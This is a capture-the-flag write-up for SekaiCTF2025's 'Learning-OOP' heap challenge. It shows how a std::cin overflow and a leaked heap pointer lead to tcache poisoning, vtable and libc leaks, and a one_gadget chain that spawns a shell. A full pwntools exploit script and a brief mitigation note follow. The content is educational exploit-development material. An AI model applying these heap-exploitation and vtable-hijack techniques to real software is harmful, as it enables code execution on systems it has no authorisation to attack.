Learning-OOP - SekaiCTF2025

Summary

Audit given source code and discover a heap overflow --> Forge a fake unsorted bin chunk in order to populate the heap with libc leaks --> Leak vtable first because of oopsie --> Leak libc --> find a crazy gadget which satisfies a one_gadget requirement --> flag

This challenge was part of the pwn category at SekaiCTF2025 with a difficulty of 2 stars.

Challenge page

Recon

Looking at the source code of this program we can spot some interesting things, namely a std::cin read on a pointer (infinite overflow) and the binary leaking an address:

void set_name() {
    std::cout << "Enter name: " << std::endl;
    // BUG: Overflow
    std::cin >> this->name;
}
...
...
new_pet->set_name();
    for(size_t i = 0; i < MAX_PET_COUNT; i++) {
        if(pets[i] == nullptr) {
            pets[i] = new_pet;
            break;
        }
    }
    num_pets++;
    // BUG: Heap leak
    std::cout << "Adopted new pet: " << new_pet << std::endl; // TODO: fix
    return;
}

The menu printed by our binary looks like a regular heap menu, with disguised options of course. On closer inspection this is a bit different.

1. Adopt new pet
2. Play with pet
3. Feed pet
4. Rest pet
5. Exit

Abstracting away the options, we get the following:

Now by doing nothing a couple of times we can actually free these chunks that we’re given ( aka starving our pets to death :( )

Exploit scheming

The binary is running GNU libc 2.39 and is thus employing the safe linking mitigation on it’s tcache freelist pointers. Fortunately the program gives us the “key” by leaking the heap base to us, which allows us to poison the tcache. This will be important later.

Trying to leak libc

For starters however I tried leaking libc (which was unwise) and quickly ran into a brick wall. Populating the heap with libc addresses is rather simple here, as we can forge a 0x420 sized unsorted bin chunk by coalescing 3 (and a half) fixed 0x120 sized chunks that the program serves us by adopting a new pet, paired with overwriting the first one’s size field to 0x421. In pwntools lingo it looks like this:

create_pet("dog", b"A")
create_pet("dog", b"B")

# Makes it so we can start writing above our chunks (less important)
for _ in range(10):
    do_nun()

create_pet("cat", b"C")
#create_pet("cat", b"B" * 0xf8 + p32(0x1) + p32(0x9) + p64(0x3) + p64(0x120))
create_pet("cat", b"B" * 0x110 + p32(0x431))

create_pet("cat", b"D")
create_pet("cat", b"E")
create_pet("cat", b"F")
create_pet("cat", b"G" * 0xc0 + p64(0x51))

Now to read those libc pointers we created ,we just allocate a chunk from this new fake unsorted bin, which we carefully made to look valid, creating a dangling pointer on one of the chunks which we used to create said fake bin. However the program segfaults as I was slow to notice that C++ objects allocate a vtable, and in our case this vtable is called every time a turn passes:

Desired outcome:

000055555556f900     5858585858585858 5858585858585858
000055555556f910     0000555555558c98 00007ffff7a03b20
000055555556f920     4141414141414141 4141414141414141

Actual outcome:

000055555556f900     5858585858585858 5858585858585858
000055555556f910     00007ffff7a03b10 00007ffff7a03b20
                            ^ call 0x7fff.. + offset --> SEGFAULT
000055555556f920     4141414141414141 4141414141414141

There is still hope however, as we can write over this vtable pointer just before it gets used, the plan now being to leak that goddamn vtable pointer. And the way to do that is by poisoning the tcache

Grabbing vtable pointer

It’s kind of hard to do this without completely destroying the heap in the process, and I really didn’t bother to maintain heap state because of our vtable overwrite primitive (which would skip poisoning the tcache again, or using the heap for any new chunks at all) , but the start looks as follows:

000055555556fb40     0000000000000003 0000000000000121
000055555556fb50     0000555555558c98 4242424242424242
000055555556fb60     0000555555558c98 4c4c4c4c4c4c4c4c
000055555556fb70     4c4c4c4c4c4c4c4c 4c4c4c4c4c4c4c4c

Heap layout after attack, would print BBBBBBBB + vtable address leak

Leaking libc

This step is now trivial. Because we have our vtable pointer and can write before the vtable gets called, we can populate the name of the dangling pointer with a libc leak and also patch the vtable pointer back to normal, preventing segfaults.

Getting code execution

Now this is where it got really hard. This looks easy at first, having control of a vtable and making it point to an attacker controlled table we can execute anything, ALMOST anything it looks like, but not a shell, as all our one_gadgets are failing and the registers are in a clunky state.

After a long time trying to either pivot the stack or execute system with a char pointer in rdi, I remembered that we could maybe satisfy one of those one\_gadgets that refused to work in initial conditions. After all, we do have multiple gadgets, and said conditions depend on non volatile gadgets they might just stick between our vtable calls!

With this mindset the most interesting one_gadget seemed to be this one:

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

And with some luck, we find this gadget in libc:

0x000000000009a0bc : mov r12, qword ptr [rbp - 8] ; leave ; ret

The next question is what is [rbp - 8] pointing to at runtime?

*R12:  0x7fffffffe2e8 —▸ 0x7fffffffe632 ◂— '/home/Hacker/ctfs/sekaiCTF2025/pwn/learningOOP/dist/learning_oop_patched'

That’s a valid envp!

Now for rbx it was easier, as rbx points to the current pet’s age variable, which increments every turn and which we could easily set to -1 with our overflow, making it 0 by the time our gadget gets hit. And sure enough we get a shell:

Flag

Mitigation

In order to mitigate the overflow, the programmer should have used the std::cin.getline() method:

void set_name() {
    std::cout << "Enter name: " << std::endl;
    std::cin.getline(this->name, sizeof(name));
}

Full Exploit

#!/usr/bin/python3
from pwn import context, args, gdb, ELF, process, p32, p64, log, u64, pause, remote

context.arch = 'amd64'
context.binary = elf = ELF("./learning_oop_patched")
libc = ELF("./libc.so.6")

gs = '''
hb *0x7ffff78ef4ce
hb *0x7ffff78452c3
hb *0x7ffff789a0bc
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

#p = remote("learning-oop-u5iinsqoilev.chals.sekai.team", 1337, ssl=True)

p = start()

def create_pet(pet_id, data):
    if pet_id == "dog":
        pet_id = 1
    elif pet_id == "cat":
        pet_id = 2

    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'):', str(pet_id).encode())
    p.sendlineafter(b'name:', data)

def do_nun():
    p.sendlineafter(b'>', b'0')

#(0x5555555592a0 >> 12) ^ 0x555555559410
def mangle_ptr(bin_addr, ptr):
    return (bin_addr >> 12) ^ ptr

def feed_da_dawg(idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b'pet', str(idx).encode())

def main():
    create_pet("dog", b"A")
    create_pet("dog", b"B")

    # Let these goons perish for free chunks >:)
    for _ in range(10):
        do_nun()

    create_pet("cat", b"C")
    #create_pet("cat", b"B" * 0xf8 + p32(0x1) + p32(0x9) + p64(0x3) + p64(0x120))
    create_pet("cat", b"B" * 0x110 + p32(0x431))

    create_pet("cat", b"D")
    create_pet("cat", b"E")
    create_pet("cat", b"F")
    create_pet("cat", b"G" * 0xc0 + p64(0x51))


    # Parse heap leak
    p.recvuntil(b'new pet: ')
    heap = int(p.recvline()[:-1], 16) - 0x13b50
    log.success(f"Leaked heap: {hex(heap)}")

    # Let the heap chillll
    for _ in range(10):
        do_nun()

    create_pet("dog", b"G" * 0xb8 + p64(0x430) + b'\x60\x00\x00\x00\x00\x00\x00')
    create_pet("cat", p64(0x51))
    for _ in range(7):
        do_nun()
    feed_da_dawg(0)

    create_pet("cat", b'KKKKKKKKKKKKKKKKKKKKKK')
    for _ in range(8):
        do_nun()
    feed_da_dawg(0)

    create_pet("cat", b'K' * 0x118 + p64(mangle_ptr(heap + 0x13a30, heap + 0x13b60)))
    create_pet("cat", b'L')
    create_pet("cat", b'L')

    # XXX: Now consolidates and populates a libc leak
    create_pet("dog", b"L" * 0xa8 + p64(0x430) + b'\x60\x00\x00\x00\x00\x00\x00')

    # Parse vtable ptr leak
    p.recvuntil(b'G' * 8)
    vtable_ptr = u64(p.recv(6).ljust(8, b'\x00'))
    log.success(f"Leaked vtable ptr: {hex(vtable_ptr)}")

    create_pet("dog", b"X" * 8 + p64(vtable_ptr) + b"L" * 0xa8 + p64(0x430) + b'\x60\x00\x00\x00\x00\x00\x00')

    create_pet("dog", b"X" * 0x118 + p64(vtable_ptr)[:-1])

    p.sendlineafter(b'>', b'3')
    p.recvuntil(b'1. ')
    libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x203b20
    log.success(f"Leaked libc base: {hex(libc.address)}")
    p.sendlineafter(b'pet?', b'3')

    feed_da_dawg(1)
    feed_da_dawg(0)
    feed_da_dawg(2)
    feed_da_dawg(3)

    elf.address = vtable_ptr - 0x4c98
    log.success(f"Leaked PIE base: {hex(elf.address)}")

    gadget_r12 = libc.address + 0x9a0bc
    one_gadget = libc.address + 0xef4ce
    pause()
    create_pet("dog", b'C' * 0xf8 + b'/bin/sh\0' + p64(one_gadget) + p64(one_gadget) + p64(gadget_r12) + p64(heap + 0x13908-0x18) + b'C' * 0x100 + b'\xff\xff\xff\xff\x07\x00\00')
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'pet?', b'1')

    p.interactive()

if __name__ == '__main__':
    main()